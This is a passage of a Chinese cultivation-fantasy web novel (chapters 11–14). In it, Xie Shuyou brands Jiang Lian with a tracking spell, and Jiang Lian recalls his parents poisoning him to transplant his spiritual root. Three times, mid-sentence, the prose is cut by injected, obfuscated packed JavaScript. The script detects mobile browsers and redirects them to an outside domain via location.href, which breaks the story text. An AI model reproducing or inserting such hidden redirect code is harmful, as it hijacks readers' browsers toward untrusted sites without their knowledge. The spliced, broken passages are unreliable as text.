“手疼不疼?”半晌,他开口说,“他若对你有心,见你这样怕也会心痛难忍。” 谢舒攸既觉得心疼,又恨他这个时候都不愿承认自己的身份,于是他控制不住的想说些扎人的,能让江敛和他一样感到痛苦的话。 “会这样想的是你,不是他。”他冷笑着抽回手,语气中不掩讥讽,“他若对我还有半分情分在,安会冷眼看我如此?” 11. 只需要说一句晚上好就够了 天边已经朦胧有了些亮光,江敛踌躇着还想再说些什么,但谢舒攸已经全然失去了耐心。 见到这人优柔寡断的样子就烦,要说就说,不想说那就别说了,做出这幅欲言又止的样子来是想要让谁难受? 察觉剑骨的事后他心里就已经够难受了,如今更是一口气噎在喉口吞不下吐不出,身上伤口的灼痛都感觉不到了。 这里是待不下去了,他撇下江敛抬脚就要走,却被江敛拉住了衣袖。 “那个……本命剑都能为他人所用,估计是已经凶多吉少了。”江敛低声劝道,“节哀,别为过去的人伤怀了。” 他还在继续说着些火上浇油的东西:“修真一途本就是与天争利,折损在路上也是难免,道友还是要往前看……” 节哀?求长生的见多了,咒自己死的还是头一份。 “把我当个召之即来挥之即去的玩意,说走就走八年音信全无。”谢舒攸被气笑了:“这样的烂人死就死了,我难过什么,我高兴还来不及。” 江敛垂眸看他,声音很轻的祈求:“那你别再继续为他哭了……” 谢舒攸忍住想抽他一巴掌的怒气,甩开他走了。 谢舒攸走了,江敛还立在原地,满脑子都是谢舒攸刚刚怒视着他流泪的模样。 现在难过了,以后就不会再哭了吧。 。 天亮后,少阳宗的人来了。 为首的是执法堂长老,一个相貌儒雅气质冷肃的男人,他身侧是几个腰系银铃穿着淡雅的年轻人,他们身后跟随了一众普通弟子。 谢舒攸已经收拾好了仪容,穿着少阳宗的弟子服前来迎接:“长老。” “不必论这些虚礼。”虞渺然扶了他一下,“先去议事。” 大致讲过事情来龙去脉后,虞渺然给带来的诸弟子分配了任务,诸人散去,谢舒攸被喊住。 “灵宥。”虞渺然喊着他的字,朝他招手,“过来这边坐。” 谢舒攸拱手:“是,长老。” 虞渺然看着他坐下,目光慈爱温和:“已经没有外人了。” 谢舒攸改口道:“祖父。” 少阳宗弟子服有统一配制的莲瓣玉冠,将头发束起来,昨晚打斗时剑风在脸侧留下的细小擦伤就明显起来了。 虞渺然看着他脸颊结痂的伤口,继续问:“身上的伤怎么样了?” 谢舒攸不太喜欢被问及伤病,技不如人本就是自己能力上的问题,是他自己主动请缨来的,没能将人捉住自己还受了伤,谢舒攸只觉得无地自容,没有脸面喊疼。 “不碍事,过几日就能好起来。”他低声道,“多谢祖父关心。” 虞渺然见他不愿多说,叹了口气:“你和你母亲小时候一样,事事独立,从不愿让人多花心思。” 看出他的低落,虞渺然安慰说:“对方修为高出你一个境界,已经做的很好了,不要过分苛责自己。” 这话并没有对谢舒攸起到什么作用,剑修越阶灭敌乃是常事,说到底还是自己太差劲。 但他也没有直接去反驳长辈,只是道:“晚辈日后会加紧修炼,多多提升自己。” “也罢,力求上进是好事。”虞渺然欣慰道,“只是也不要过分固执,容易滋生心魔。” “是。” “对了,灵宥准备什么时候动身回少阳宗?”虞渺然想起了什么,“几月后各大宗门集会,灵约担心那时人员来往杂乱诸事多有不便,已经提前动身来少阳宗了。” 谢舒攸一顿:“阿姐已经到了?” “嗯,已经在你的鹿鸣涧旁住下了。”虞渺然道,“许久没见了吧,安排的近一些,也好让你们说说话。” …… 和虞渺然说过话,谢舒攸重新走出门外,就看到两个小弟子依照规制正在询问岑望昭和陈述昨晚发生的事。 修士五感敏锐,即使离得有些远,声音也依旧清清楚楚传进谢舒攸耳朵。 “你们的意思是,那蛊婴自己不小心滚到了刀刃上,把自己脑袋割了下来,然后脑袋又不小心滚到丹鼎里被烧成了灰,心脏从身体里跑出来的时候被你不小心踩到,然后你不知道这是什么,又不小心取出了炼丹用的异火,直接连鞋子一起烧了?” 他听到那小弟子不可置信的声音。 陈述坦然点头:“没错,就是这样。” 见旁边的岑望昭一脸心虚绞着手指不说话,陈述用胳膊肘捅了捅他,岑望昭这才艰难道:“对……对,它自己就东一块西一块的了。” 谢舒攸看着他那个没出息的师弟说完之后脸就涨的通红,被对面两人用怀疑的目光一打量,噌得一下脸色又红了一个度。 那小弟子有些生气道:“哪有这么多巧合,你们重新说。” 眼看岑望昭要就地晕厥了,谢舒攸看不下去,走近拍了拍那两个小弟子的肩膀。 见到是他,那两人都起身行礼:“首席师兄。” “一路奔波,辛苦了。”谢舒攸坐在了他们的位置上,然后道:“你们去休息吧,这里我来接替。” 两人有些受宠若惊,对视一眼后客气道:“这等小事如何能劳烦师兄。” “同门之间,不必言谢。”谢舒攸道,“此城中风物不错,去走走吧。” 两人年纪不大,难得能下山,有些雀跃起来:“多谢师兄!” 谢舒攸没再抬头,而是翻看着他们记录下的东西,随意道:“去吧。” 听着两人走出门外,谢舒攸手指一捻那纸页就在手中化作齑粉飞灰消失不见了。 他拿起桌上摆的留影石,注入灵力后岑望昭方才的模样就虚虚投在了空中。 谢舒攸皱着眉看向岑望昭,有些失望道:“我平日里是怎么教你的,怎么被盘问两句就惊慌失措的,看看自己成什么样子。” 岑望昭垂着脑袋说不出话。 陈述目光在两人之间流转,然后抓紧时间打圆场道:“孩子还小,慢慢教,慢慢教……” “你年纪还小,其他东西可以慢慢学,但这个不行。” 十几岁就开始执掌谢氏,谢舒攸清楚岑望昭这性格哪怕掌权也是被欺负,现在必须纠正:“同样是师尊的弟子,为什么方才那两人只敬我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383351|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敬你?” 岑望昭想说有师兄和师尊在就不会有人敢对他怎么样,又怕谢舒攸生气,于是只敢偷偷看他。 “日后若师尊不在,师兄也不在,少阳宗的话事人就是你。”像是知道他在想什么,谢舒攸道,“你要红着一张脸哆哆嗦嗦去和其他掌门宗主谈条件讲道理吗?如此和顺会有人愿意听你说话吗?” “不要一幅任人鱼肉的模样。”谢舒攸捏碎了桌上那颗留影石,重新拿出一颗,“重新说,昨晚都发生了什么。” 一日的时间很快过去,今日心情实在不太好,白天时间仓促只来得及用法诀清理了一下身上的雨水污血,回想起来还是觉得脏,洗了澡后才觉得好些。 屋子里能听到颂咒的乐声,白日里那几个腰系银铃的是东阙宗弟子,被请来为那些失魂的孩子招魂的。 谢舒攸听着楼下泠泠的乐声,心情舒缓了些,让他能以相对平和的态度回忆一些事。 他想起幼时师尊带他去药王谷治病时经过落梅山风雪亭,他第一次见到那个人和那把剑就是在那里。 那是他第一次见到这样漂亮的剑,他看到那人振臂唤了声挽江清,雪地里便不知从何处飞出一把通体古铜色泛着青光的青蛇宝剑,剑柄被握住,剑身之上的两条青蛇便如活了般游动起来箍在了那人小臂上,将剑与手臂锁在一处。 随后那人折了梅花给他。 不知是什么在吸引他,被师尊抱走时,他还是忍不住从斗篷里冒出头来回头去看。 那人静静负手立在风雪中,身形挺拔如柏如松,落了一身雪白。面具下的面容模糊不可见,看不出是什么表情。 谢舒攸呆呆看着。 少顷,那人似乎终于意识到谢舒攸在看自己,他动了下,在思考般停顿了片刻,然后将背在身后的那只手拿到身前,伸出食指和中指竖在了脑袋上。 谢舒攸没看懂他在干什么。 他大概也觉得只有一只手不像,于是扯下箍在右臂上的那两条青蛇,掰成兔耳朵的形状顶在脑袋上。 这下谢舒攸看懂了,他在扮小兔子逗自己笑。 被随手丢在雪地上的挽江清愤怒地嗡嗡直响,转着圈在雪地里扫出一个干净的圆来。 谢舒攸笑起来,也竖起手指顶在脑袋上。 后面的记忆就很模糊了,那时候还太小,能记住的东西实在有限。 几场雨浇下来天气凉了许多,不再像过去几天那样潮湿闷热。 谢舒攸突然想吹吹风,于是他拢着衣服来到窗边,刚推开窗户就看到一个什么黑影挂在他窗下,他下意识要凝结冰剑刺过去,就听到一个熟悉的声音嗷嗷叫着。 “停停停——”江敛一叠声道,“道友是我,是我。” 谢舒攸后悔自己刚刚没有直接刺下去,现在认清了人反而有谋杀的嫌疑:“你为什么在这里?” “好冰冷。” 江敛露出失落的表情,“今晚月白风清,我在你窗外静静地,默默地陪你赏月,这么好的氛围,你见到我只需要说一句晚上好就够了,而不是质问我为什么挂在你的窗外。” 12. 你想要什么名分 谢舒攸实在想不通,自己回忆里那棵雪中青松怎么就变成了墙头蜘蛛。 这么挂在墙外实在不像样子,如今宗内弟子长老都住在附近,被人看到了也不好解释,谢舒攸把窗子打开:“你先进来。” 江敛小尾巴一下就翘了起来:“你人真好,你怎么知道外面冷。” 谢舒攸一边往里走,一边道:“只是毁尸灭迹会比较方便罢了。” 江敛后背一凉,迈进来的一条腿又抽了回去,坐在窗棂上干笑两声:“哈哈,凉快点好啊。” 谢舒攸回头,凉凉看他一眼,这次是简短干脆的命令语气:“进来。” 察觉到谢舒攸心情不太妙,这次江敛没敢再磨蹭,跨进屋来顺手带上了窗户。 谢舒攸在墙边的贵妃塌上坐下,看着江敛在那里对着窗户一幅很忙的样子,也不知道他在忙什么。 是因为白天的事放心不下吧,所以趁着夜色溜过来想看看他,没想到被抓了现行。 也算这人还有点良心…… 谢舒攸本来也要去找他,如今他自己过来了,倒是省了些麻烦。 受不了房间内这寂静,江敛主动问道:“道友明日就启程要回少阳宗了吗?” “嗯。”谢舒攸淡淡应了声,抬眸看向他,“你问这个做什么?” “知道了分别的日子,好备些礼物与道友道别。”江敛笑了笑,“萍水相逢,日后可能就不会再见了。” 谢舒攸刚好起来的心情又沉了下去。 这个人不惹他生气会死吗? 不会再见是什么意思?又要和从前一样不告而别一走数年? 心里怒火升腾,但脸上没有半点表露出来。他摩挲着手上的储物戒,反而极为罕见的笑了下:“是啊,日后说不定就不会再见了,是该好好珍惜当下。” 他支着脑袋抬起头看向江敛:“我从傍晚起,头就隐隐有些发晕,状况和遇见道友那晚很像。不知道友可愿帮我看一看是怎么回事?” 说着,他撩开衣袖露出一截凝白的腕子。 “自然方便。”江敛走近过来坐在他旁边,伸手搭上他的脉,将灵力探进去。 大概是刚洗过澡的缘故,那些属于花草的,熏香的味道都消散了,只余淡淡的皂角香和谢舒攸自己的体香。 可能是没想到这么晚会有人造访,他穿得很薄,长发披散着,仔细看的话能看到嫩色的皮肤。 江敛觉得自己真是被美色迷了眼,探脉探了半天居然什么异常都没发现。 他念了两遍清心咒准备重新探的时候,谢舒攸忽然抬手按在了他肩头。 见江敛看他,谢舒攸歪了歪头露出疲倦的神色:“有些晕,借我撑一下,摸出是哪里有问题了吗?” 江敛吞了口口水,低下头摸脉:“没……还没有……” 紧接着什么柔软的触感擦过脖颈,似乎是谢舒攸的手指,然后就是一阵刺痛,像是什么割破了皮肤。 “我的戒指划到你了吗?抱歉。”谢舒攸离他很近,轻轻缓缓的语气跟他说话,“你的耳朵怎么红了,很痛吗?” 那点无关紧要的刺痛马上就被江敛抛之脑后,现在真是念多少遍清心咒都没用了,谢舒攸这语气实在太温柔,软语温声,江敛忘乎所以,连自己是谁都快不记得了:“没,不痛,一点都不痛。” 这个姿势简直像是谢舒攸在环着他的脖子撒娇索吻。 “真的吗?”谢舒攸突然冷淡下来,松开他拉开距离,将自己的手递到他眼前给他看,“可是你流了很多血呢。” 江敛一怔,抬手摸了把脖子,果然摸到了一手的血。 怎么一会儿没注意就被老婆割喉了?不能真给他毁尸灭迹吧。 谢舒攸一边将戒指上延展出的尖锐刀片收回,一边拿出一面镜子递给他:“看看我刻的漂不漂亮?” 江敛接过镜子,看到颈侧偏下位置被用秀气漂亮的字体刻了个“攸”字。 他松了口气,不是割喉就好。然后他观摩了片刻,由衷赞叹道:“嚯,挺艺术的。” 谢舒攸一滞,皱眉问他:“你不生气?” 江敛不解:“这有什么好生气的?” 只要谢舒攸开心,不要他命干什么都好说。别说刻个名字,就是刻精忠报国也没关系。 而且刻名字还挺爽的…… “这字里刻有追踪阵法,以后无论你在哪里我都能找到。”谢舒攸抬手,食指屈起在他颈间蹭了蹭,“‘日后不会再见’这种话以后不要说了,这种事不会再发生了。” 听到这话江敛才察觉哪里不对,抬手按住脖颈注入灵力试图抹掉那道阵法,然而却毫无用处。 “别白费功夫了,我的追踪术师承少阳宗执法堂长老。” 谢舒攸静静看着他,“你应该听说过虞长老的名号吧?百年前他就在仙盟审判司任司务,专司抓捕追踪之术已有百余年,你现在的能力还破不了他的阵法。” 怪不得方才这阵法落下他却毫无察觉…… 江敛摸着脖子嘶了口气,试图讲道理:“道友有话好说啊,若是日后还想再相见,通讯符牌上说一声就好了,就是刀山火海我也随叫随到,何必如此呢?” 谢舒攸冷冷看着他,声音里夹杂着浓得要溢出来的怨气:“骗子!” 江敛理亏,确实有亏心事在先,于是没再出口反驳。 “跟着我有什么不好,这是多少人求之不得的事。”谢舒攸静了会儿,平和下来托着脸看他,“无论你想要灵石,还是法器符篆,丹材药草……” “亦或者是仙姿榜前十的美人?”谢舒攸继续道,“我是谢氏家主,又是如今的修真界第一大宗宗主首徒,不算委屈你吧。” 江敛顿了顿,又问:“我能不能问一句,道友喜欢我什么?” “你不需要知道。”谢舒攸见他这幅明知故问的样子就烦,“权力,钱财,地位都在你面前了,你还有什么不满?” 江敛继续找借口:“那也不能无名无分的跟着啊……有点骨气的都会宁死不屈吧。” “那你想要什么名分?想当家主夫人?”谢舒攸思考了一下可行性,“这不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383352|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题。” 江敛道:“那我得回家禀告一下父母。” “自然可以。”有追踪阵法在,他跑到哪里都能被找到。谢舒攸道,“三个月之内去少阳宗找我,若是过了这个时限我就没那么好说话了。” “我知道了。”江敛蹲下身子,将手按在他小腿上一拉,“方才为道友探脉,发觉道友体内寒气淤滞,不适应当也是因此而起。” 江敛抬起头看他,黑眸沉沉:“我来为道友疏通一番吧。” 谢舒攸皱了下眉,他察觉到了江敛似乎和刚刚似乎有所不同,但具体又说不出是哪里不同。 他点头:“你来吧。” 江敛手握在他脚腕,寸寸向上揉捏。谢舒攸觉得有些奇怪,但暖融融的灵力顺着接触的地方流进身体,又确实很舒服。 冰属的灵力坏处很明显,体内气息灵力都是冷的,流转起来好像连血都冻僵了。这样暖洋洋将冰凌化开融成水的感觉很难得。 江敛看着他表情软化温和下来,手继续向上揉,力气用得不小,柔软丰腴的腿肉溢出指缝,弄得谢舒攸闷哼一声。 在谢舒攸生气前他放轻了力道。 为什么突然就不找了?为什么突然就要和他在一起? 为什么不解释喜欢他的原因?是解释不出吗? 还是说,只是因为觉得身形性格像,所以找个替代品带在身边? 如果是这样的话,那是不是换一个别的与他相像的人谢舒攸也依旧会喜欢? “你要我和你在一起,可万一你要找的那个人回来了呢?”江敛直起了身子,与他贴得很近,“到时候怎么办?把我赶走留下他,还是赶走他留下我?” 不肯承认自己身份,又来问他这种问题。 谢舒攸呵了声,反问:“你觉得呢?” “为什么不正面回答?还是说,你全都要?”江敛掌心抚在他大腿,温度透过轻薄的衣料传来,灼得他有些发痒,“那到时候是他做大我做小,还是我做大他做小?” 那双手还在继续往上摸,几乎要摸到他腿根了。谢舒攸忍无可忍,抬手按在他胸口推他:“差不多得了。” 但江敛依旧在得寸进尺,谢舒攸意识到他这状态和前几日客栈走廊那里差不多,于是按在他胸口的手用力反手一拧。 江敛被疼得嗷得一声清醒过来。 “不是你说让我节哀吗,怎么又觉得他能回来了?” 意识回笼,江敛看着谢舒攸按在他胸口的手还没移开,这种俯视的角度,能从他敞开的领口把漂亮的锁骨看得清清楚楚,嘴唇开合,勾出漂亮的,讥诮的弧度。 江敛根本没听清他在说什么,啊……热热的,人之常情,毕竟他正是血气方刚的年纪。 他看到谢舒攸表情微怔。 不对,怎么热的又是人中! 该死,他娘的黑心小药丸又吃多了 谢舒攸掏出张帕子递给他:“你怎么了?” 江敛擦着鼻血意识恍惚:“你的手好凉好白……不对,我是说,我最近有点上火。” 13. 谢夫人早上好 次日一早,江敛起床后第一件事是对着镜子跟自己打招呼。 谢夫人早上好。 江敛心里美得不行,跟自己打过招呼后,又对着镜子反复观摩了半天谢舒攸刻下的那个字,然后对着镜子给自己打气。 好样的,只要你活下来你就是名正言顺的谢夫人。 加油使劲活。 楼下热闹喧嚷,是少阳宗那些小弟子聚在一起叽叽喳喳聊着些什么。他们午时就要启程离开,江敛站在栏杆处看了半天,没找到他想找的那个人。 他想下楼去问问有没有人见到谢舒攸,刚走没几步突然被人扯住拉到阴影隐蔽处。 这道气息里裹挟着他熟悉的淡香,于是他顺着这力道被扯了过去。冰凉的指尖拉开他的衣领碰上他的脖颈,语气不满:“遮这么严实做什么?这个字让你觉得很丢人吗?” 江敛见状不妙抓紧解释:“冤煞我了,我是个非常保守的男人,字露出来衣服都要扒到肩膀了,哪儿能露那么多肉让别人乱看。” 谢舒攸回忆了下,好像确实是这样。从自己第一次见他起这人就把自己裹得严严实实的,嘴上没一刻是紧的,但扣子没一颗是松的。 勉强接受了这个解释,谢舒攸冷哼一声,又低声说了句什么。 江敛没太听清似的,弯腰凑近了他又问:“什么?” “礼物!你昨晚说的礼物呢?”谢舒攸定定看着他,目光幽怨,“你又骗我?” 江敛拽了拽他腰间的什么东西,说,“这不是刚挂好吗。” 谢舒攸低头看到自己腰间被挂上了一枚青绿色玉佩,应该是江敛刚刚俯身时给他挂上的。 气消了一半,谢舒攸翻看了下,抬头看他:“你还会打络子?” “年纪大了自然什么都会一点儿。”江敛知道谢舒攸喜欢这些小东西,除了玉佩他还做过簪环戒指之类的,全拿出来显得怪异,于是选了个相对体面合宜的。 心里念着的人不能去见,身上的疼痛昼夜不息,很长一段时间他都难受得几乎要发狂,不得不强迫自己做些别的去转移这些痛苦。 想着这些东西或许有一日能交到谢舒攸手里,他会好受些。 “三个月内,去少阳宗找我。”谢舒攸满意了,目光从他颈侧的字转移到他脸上,细细盯着看了会儿,第一次喊他的名字,“江敛。” “嗯。”江敛觉得这空间实在有点逼仄了,升腾的热气往脸上涌,他胡乱道,“我知道了。” 谢舒攸发现了,正常情况下的江敛对于这种密切的肢体接触是很无措的,强装淡定也装不好,平日里那些乱七八糟的鬼话更是半句都说不出来了。 于是他抬手又摸了摸江敛的侧脸,他看到这人的眼睫颤着轻轻吐出一口气,似乎想要像小狗一样将脸埋进他掌心,但又生生忍住了。 “好好想想下次见到我时都要说什么。” 谢舒攸不知道他有什么事瞒着自己,但是愿意再给他一点时间让他好好想想该怎么解释。 楼下喧闹的声音已经静了下来,人员集结完毕,他该走了。 谢舒攸抽手想要离开,却被人握住了手腕。他像是再也忍受不了了一般,将脸贴在谢舒攸手心呼吸着,谢舒攸能感觉到他的鼻梁蹭在自己手指上,嘴唇贴着掌根。 “我很想你,我……”他像是在忏悔什么,“对不起……” 谢舒攸一怔,想要再问些什么,楼下却传来岑望昭的声音:“师兄,师兄你去哪儿了,虞长老说要出发了。” 江敛还是一幅衣衫不整的模样,谢舒攸一顿,一边将他往里推一边回岑望昭:“知道了,你先回去。” 但岑望昭已经循着声音找了过来:“师兄你在这儿啊,我们该走了。” “下次跟我解释清楚。”谢舒攸来不及再说更多,在岑望昭跟上来前下了楼。 江敛站在那角落里看着谢舒攸回头看了他一眼,然后离开。 “啧啧,望夫石啊。”陈述嗑着瓜子路过,“一幅被始乱终弃的样子,好惨。” 江敛整理好了衣服,瞥了他一眼:“刚刚怎么不见你。” “你听听你说的是人话吗?刚刚我敢在吗?”说到这个陈述就一肚子火气:“你俩堵在这里卿卿我我,我连楼都不敢下!” “哦。”江敛敷衍的应了声。 陈述还想再啰嗦些什么,江敛掏出个储物袋给他:“这次帮忙的报酬。” 陈述立刻把别的忘了,眯着眼数钱:“哎呀你说这事弄得,都兄弟……” 江敛伸手:“不要就还我。” 陈述警惕的把储物袋揣起来,痛斥他:“你怎么这么小气,以后整个药王谷都是你的,还在乎这点小钱。” “药王谷谁爱要谁要。”江敛啧了声,皱眉,“反正我不要。” “为什么不要?”陈述相当不解,“更何况你不做药王谷少主还能做什么?” 当然是因为觉得膈应。 但陈述是他娘的徒弟,这话他不能当着陈述的面说。于是他只是道:“我去做谢夫人。” 陈述肃然起敬,冲他拱手:“兄弟好前程,苟富贵勿相忘。” 江敛也拱手:“好说好说。” 谢舒攸离开,江敛有了新的打算。他将这小医馆关了,准备收拾东西离开。 临行前他帮过的那个叫秦沂的孩子带着妹妹来感谢他,向他求问自保的办法。 “今年秋天,各大宗门都会开山门广收弟子。”江敛给了他一些灵石,“若是有灵根那便是有机缘,不妨去试试。” 那孩子跪下拜谢:“多谢仙师。” 赶路途中的举手之劳罢了,江敛指点了他两句便启程离开了。 百年前药王谷也曾盛极一时,在修真界大宗中也排得上前十,前来求医交好者数不胜数。 江敛擦掉石碑上的雪,露出上面的“落梅山”三字,笑了下。 如今却藏匿于这雪山之中。 此处终年积雪不化,旧雪未扫,新雪已至。登至半山腰,风雪之间存一小亭,有人静坐其中。 “来者何人,来此何事?” 江敛从前也做过这守门的工作,熟得很:“药王谷江敛,回家探亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383353|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那覆面修士拱手道了句少主,便折了枝梅花给他。 江敛一边拿着那枝梅花继续走,一边想,真奇怪,哪儿有人回家跟客人似的。 真奇怪,真奇怪。 将梅花交给下一座峰的守门人,他终于被放进药王谷。 他循着记忆里的印象找去他爹娘的洞府,却被小童子拦住。 “少主,有什么事吗?” 分明穿过雪山就是一派山清水秀,可江敛却觉心烦意乱。他开口道:“我找谷主。” “您在此处等一会儿,待我前去通禀。”小童子说罢回身跑进草木葱荣遮挡下的重檐飞宇间,其他几个小童守在门口盯着他。 不一会儿小童又跑出来,对他说:“少主,谷主大人不在,峰主大人让您先回泽华苑等一等。” 江敛在心里冷笑,骗鬼呢,他娘一年到头都不出门,他一回来就不在了。 他爹更是干的漂亮,演都不演,在也不见他,只说让他回去等。 江敛口头应下说好,转头去了后山两脚踹烂禁制,开始搜刮药园子。 一旁的守护兽抬头看他一眼,见是自己人就不管了。 天黑下来,他也搜刮得差不多了,满载而归。 虽然他本能的有些抗拒回儿时旧居,但也不想席地而眠,于是四处转了一圈,等转回泽华苑时,已经是子时了。 虽然他已经很多年没回来过,但这里还是被打理得很漂亮。 院墙边密密的种着竹子,继续往里走,假山池沼,亭台水榭一应俱全。 走过一段石子路踏进回廊,顺着蜿蜒曲折的小路往前走,儿时的记忆渐渐清晰起来。 他加快脚步想要将那些全都甩到脑后,终于走到正厅前,一旁的水塘波光粼粼,石桌旁坐着个人影,闻声抬头看他。 对视一眼,江敛沉默了片刻,然后开口道:“娘。” 江逢春嗯了声,月光下光彩潋潋的眼睛朝他看过来:“回来了。” 别的不说,江逢春长得实在是很美,是但凡长了眼睛一眼看过去都知道的美。 不过这份好相貌没怎么传到江敛这里,他长得更像他爹。 他没想到这么晚了,江逢春还会出现在这里,于是走到近前问:“什么时候过来的?” “黄昏时回来后听你爹说你难得回家,还说要找我,自然是马上就过来了。”江逢春没再提起等了多久这件事,而是问,“玉绫春用着还顺手吗?” 玉绫春是那把白玉琵琶,江敛将琵琶唤出来,展示已经被他拔下来的琵琶弦:“已经拆了。” 江逢春欲言又止:“这是仙阶法器,你的旧伤发作时它的弦音能镇痛……” 江敛说:“我知道,但我不想用。” 江逢春看着他,被什么刺痛了般露出痛苦的表情,眼睛里依稀能看出闪动的水光:“我知道你一直因为过去的事怨我们……但是别把自己的身体不当回事,好吗?” “从前的事我早就不在意了。”江敛不为所动,“是我怨你们吗?不是你们一直避鬼一样避着我吗?” 14.没有亲戚 江逢春想要解释什么,但说出口的话却过于单薄苍白:“没有避你……” 江敛笑了下:“如果回来的人是我哥,这一路没有人会拦他,你们也会更高兴吧。” “为什么总要提起你哥哥,这和他没关系,就算有错也是我的错……”江逢春看着他冷漠的表情,没有办法再说下去,“算了,你好好休息吧。” 话不投机,他娘被他三两句话气哭走了。 干了件缺德事江敛心里舒服多了,但毕竟被气走的人是他母亲,他还是反省了一下自己是不是说了什么很过分的话。 但他明明没说什么很过分的东西,只是说了些事实而已,但人们往往都不爱听真话。 没有回房,他三两下登上院中那棵枝干盘虬的老树,往东看,他隔壁就是他哥的院子。不过那个院子应该比他这个更久没有住过人了。 江敛想起自己小时候是真没心没肺,一直到记事的时候都没有名字,所有人都“江二”“江二”的喊他,他却并不明白哪里不对。 每日都要吃很多丹药他也并不觉得哪里有问题,毕竟他家就是药王谷,他见到的许多人都是来求药的。如果这是什么坏东西,那就不会有这么多人想要了吧。 很早的时候他就知道自己上面有个哥,但却从来没见过。据说曾经是名动一方的天之骄子,才赋卓绝,世无其二。一手创设天机楼,后来却因遭人嫉妒而被陷害堕魔。 从那以后昔日天才成了人人喊打的魔修,药王谷也因此成了众矢之的,不得不隐迹藏形。 也是从那以后,天机楼榜上所有人都必须隐藏身份姓名不能人前显露面容,怕的就是重蹈覆辙。 但这些都和彼时的江敛无关,那时候的他最大的愿望就是作为家族的蛀虫躺平了玩一辈子,三更打坐五更炼丹的修仙生活实在不适合他。 五岁时,他爹娘给他取了名,单名一个敛。 不久后,他们请来门中长老为他测灵根禀赋。长老沉吟片刻,拉着他的胳膊对他的父母说:“二公子骨骼清奇,绝非俗辈。” 长老一脸严肃,江敛也一脸严肃,这表情源于心虚,他怀疑自己的懒骨头被这老头摸出来了。 他爹问:“这是何意?” 长老道:“二公子是天生剑骨!” 他爹恍然大悟。 他娘恍然大悟。 五岁的江敛也恍然大悟。 啊,原来他不是懒骨头。 是贱骨头。 但他娘比起他的剑骨更关心他的灵根:“那灵根呢?” 长老道:“恭喜谷主峰主,药王谷又添一天才,不同于大公子的木天灵根,二公子是火天灵根。” 他娘喃喃:“他们不是兄弟吗?怎么会……” 后来他需要吃更多丹药,手腕上开始生出黑色的纹路,他问他的父母这是什么。 他爹缄口不言,他娘说等他日后修到元婴就会消失了。 年纪太小问不了别人,他只能相信。 直到某天他第一次见到他那个离家很久的哥。 这人是偷偷回来的,父母显然不知道,仍然在做自己的事。至于江敛为什么一眼就认出了这人的身份,实在是因为他长得跟他娘太像了。 “叫阿敛,对吗?”他说话很温和,悄悄去牵江敛的手,“能让哥哥看看吗?” 江敛躲开了。 “怎么了?”那人目光无意中落到了他手腕上,神情一滞,强硬的拉开了他的衣袖看到了那上面的纹路。 “阿敛,爹爹阿娘有给你吃过什么奇怪的东西吗?”他哥表情看起来很僵硬,像在掩盖什么愤怒。 “没有。”江敛并不觉得丹药在奇怪的东西之列。 他哥起身离开了,江敛看他去了父母所在的房间,他跟了过去,门没有关,不一会儿房内爆发起巨大的争执声。 他哥的声音半点不见方才的温柔:“你们疯了吗!他才几岁,丹毒的纹路怎么来的?” 他爹说:“只要他日后突破元婴,重塑筋骨,这些根本不会妨碍他什么。” 他哥更愤怒了:“修真一途何其凶险,一个宗门里有几人顺顺利利突破至元婴?” “你能做到,他为什么不可以?”江逢春的声音响起,“如果他的灵根能换给你,你就有可能洗除魔气重新回家了……映儿,你不想回来吗?” “你真是疯了……”江映的声音里满是厌恶和不可置信,“那他怎么办?” 他爹说:“一直在喂他丹药拓宽丹田,我们有办法给他重塑一条灵根。” “现在马上停手!我不需要你们这样帮我。”江映声音因为愤怒而有些发抖,“既然一个入了魔的孩子让你们这么难堪,那我去死好了,你们何必因为我去牵累无辜的人!” 然后是一阵杂乱的脚步声,江映快步走出去御剑离开了。 “映儿……”有人追了出来,在门口撞上了站在这里的江敛。 见到他在这里,江逢春怔住,但顿了片刻还是选择去追离开了的江映。 他爹停住没有继续追,蹲下来看他,问他听到了什么。 江敛不说话,把眼泪憋回去想跑却被拎住衣领拽回来,他爹还在问他:“听到了多少?” “全听到了!我全听到了!”七岁的江敛哇得一声大哭起来,“你们根本不管我的死活,你们只在乎我哥!” “在乎你哥的是你娘。”他爹拎着他领子,“按魔族的习俗,孩子看不顺眼是可以吃的。” 江敛看着他爹头上冒出来的角,吓得什么都忘了,哆哆嗦嗦打了个哭嗝:“咱们家应该和魔族没亲戚吧。” 他爹说:“没有亲戚。” 江敛一口气还没松下来,就听见他爹说:“亲戚已经被我吃没了。” 江敛:…… “爹……爹。”江敛哆哆嗦嗦打着嗝,试图喊爹唤醒亲情:“爹我觉得我长得挺顺眼的……” 